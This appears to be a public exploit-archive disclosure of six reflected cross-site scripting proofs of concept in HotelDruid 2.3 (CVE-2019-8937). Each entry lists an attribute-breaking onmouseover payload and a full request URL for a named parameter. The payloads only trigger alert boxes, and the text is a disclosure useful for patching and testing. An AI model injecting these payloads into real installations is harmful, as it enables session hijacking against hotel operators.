HotelDruid 2.3 Cross Site Scripting

`===========================================================================================  
# Exploit Title: Hoteldruid 2.3 - 'nsextt' XSS Injection  
# CVE: CVE-2019-8937  
# Date: 18-02-2019  
# Exploit Author: Mehmet EMIROGLU  
# Vendor Homepage: https://sourceforge.net/projects/hoteldruid/  
# Software Link: https://sourceforge.net/projects/hoteldruid/  
# Version: v2.3  
# Category: Webapps  
# Tested on: Wamp64, @Win  
# Software description: HotelDruid is a property management system (PMS)  
designed to make hotel and hostel rooms  
bed and breakfast apartments, or any other kind of daily rental easy to  
manage from a web browser.  
===========================================================================================  
# POC - XSS  
# Parameters : nsextt  
# Attack Pattern : x%22+onmouseover%3dalert(0x000981)+x%3d%22  
# GET Request : http://localhost/hoteldruid/visualizza_tabelle.php?nsextt=x"  
onmouseover=alert(0x000981) x="  
===========================================================================================  
###########################################################################################  
===========================================================================================  
# Exploit Title: Hoteldruid 2.3 - 'cambia1' XSS Injection  
# CVE: CVE-2019-8937  
# Date: 18-02-2019  
# Exploit Author: Mehmet EMIROGLU  
# Vendor Homepage: https://sourceforge.net/projects/hoteldruid/  
# Software Link: https://sourceforge.net/projects/hoteldruid/  
# Version: v2.3  
# Category: Webapps  
# Tested on: Wamp64, @Win  
# Software description: HotelDruid is a property management system (PMS)  
designed to make hotel and hostel rooms  
bed and breakfast apartments, or any other kind of daily rental easy to  
manage from a web browser.  
===========================================================================================  
# POC - XSS  
# Parameters : cambia1  
# Attack Pattern : " onmouseover="alert(8562604)  
# POST Request :  
http://localhost/hoteldruid/visualizza_tabelle.php?anno=2019&id_sessione=&tipo_tabella=prenotazioni&subtotale_selezionate=1&num_cambia_pren=1&cerca_id_passati=1&cambia1=3134671"  
onmouseover="alert(8562604)  
# https://i.hizliresim.com/6avvoE.jpg  
===========================================================================================  
###########################################################################################  
===========================================================================================  
# Exploit Title: Hoteldruid 2.3 - 'mese_fine' XSS Injection  
# CVE: CVE-2019-8937  
# Date: 18-02-2019  
# Exploit Author: Mehmet EMIROGLU  
# Vendor Homepage: https://sourceforge.net/projects/hoteldruid/  
# Software Link: https://sourceforge.net/projects/hoteldruid/  
# Version: v2.3  
# Category: Webapps  
# Tested on: Wamp64, @Win  
# Software description: HotelDruid is a property management system (PMS)  
designed to make hotel and hostel rooms  
bed and breakfast apartments, or any other kind of daily rental easy to  
manage from a web browser.  
===========================================================================================  
# POC - XSS  
# Parameters : mese_fine  
# Attack Pattern : " onmouseover="alert(6520859)  
# POST Request :  
http://localhost/hoteldruid/visualizza_tabelle.php?anno=2019&id_sessione=&tipo_tabella=periodi&mese_fine=13"  
onmouseover="alert(6520859)  
# https://i.hizliresim.com/v6NAzD.jpg  
===========================================================================================  
###########################################################################################  
===========================================================================================  
# Exploit Title: Hoteldruid 2.3 - 'origine' XSS Injection  
# CVE: CVE-2019-8937  
# Date: 18-02-2019  
# Exploit Author: Mehmet EMIROGLU  
# Vendor Homepage: https://sourceforge.net/projects/hoteldruid/  
# Software Link: https://sourceforge.net/projects/hoteldruid/  
# Version: v2.3  
# Category: Webapps  
# Tested on: Wamp64, @Win  
# Software description: HotelDruid is a property management system (PMS)  
designed to make hotel and hostel rooms  
bed and breakfast apartments, or any other kind of daily rental easy to  
manage from a web browser.  
===========================================================================================  
# POC - XSS  
# Parameters : origine  
# Attack Pattern : " onmouseover="alert(8987004))  
# POST Request :  
http://localhost/hoteldruid/personalizza.php?anno=2019&id_sessione=&aggiorna_qualcosa=SI&cambianumerotariffe=1&nuovo_numero_tariffe=8&origine=./creaprezzi.php"  
onmouseover="alert(8987004)  
# https://i.hizliresim.com/v6NAmO.jpg  
===========================================================================================  
###########################################################################################  
===========================================================================================  
# Exploit Title: Hoteldruid 2.3 - 'anno' XSS Injection  
# CVE: CVE-2019-8937  
# Date: 18-02-2019  
# Exploit Author: Mehmet EMIROGLU  
# Vendor Homepage: https://sourceforge.net/projects/hoteldruid/  
# Software Link: https://sourceforge.net/projects/hoteldruid/  
# Version: v2.3  
# Category: Webapps  
# Tested on: Wamp64, @Win  
# Software description: HotelDruid is a property management system (PMS)  
designed to make hotel and hostel rooms  
bed and breakfast apartments, or any other kind of daily rental easy to  
manage from a web browser.  
===========================================================================================  
# POC - XSS  
# Parameters : anno  
# Attack Pattern : " onmouseover="alert(1548690)  
# POST Request :  
http://localhost/hoteldruid/tabella3.php?id_sessione=&mese=01&tutti_mesi=1&anno=2019"  
onmouseover="alert(1548690)  
# https://i.hizliresim.com/EmAW68.jpg  
===========================================================================================  
###########################################################################################  
===========================================================================================  
# Exploit Title: Hoteldruid 2.3 - 'origine' XSS Injection  
# CVE: CVE-2019-8937  
# Date: 18-02-2019  
# Exploit Author: Mehmet EMIROGLU  
# Vendor Homepage: https://sourceforge.net/projects/hoteldruid/  
# Software Link: https://sourceforge.net/projects/hoteldruid/  
# Version: v2.3  
# Category: Webapps  
# Tested on: Wamp64, @Win  
# Software description: HotelDruid is a property management system (PMS)  
designed to make hotel and hostel rooms  
bed and breakfast apartments, or any other kind of daily rental easy to  
manage from a web browser.  
===========================================================================================  
# POC - XSS  
# Parameters : origine  
# Attack Pattern : " onmouseover="alert(6332576)  
# POST Request :  
http://localhost/hoteldruid/creaprezzi.php?anno=2019&id_sessione=&ins_rapido_costo=SI&tipocostoagg=perm_min&origine=crearegole.php"  
onmouseover="alert(6332576)  
# https://i.hizliresim.com/EmAW68.jpg  
===========================================================================================  
`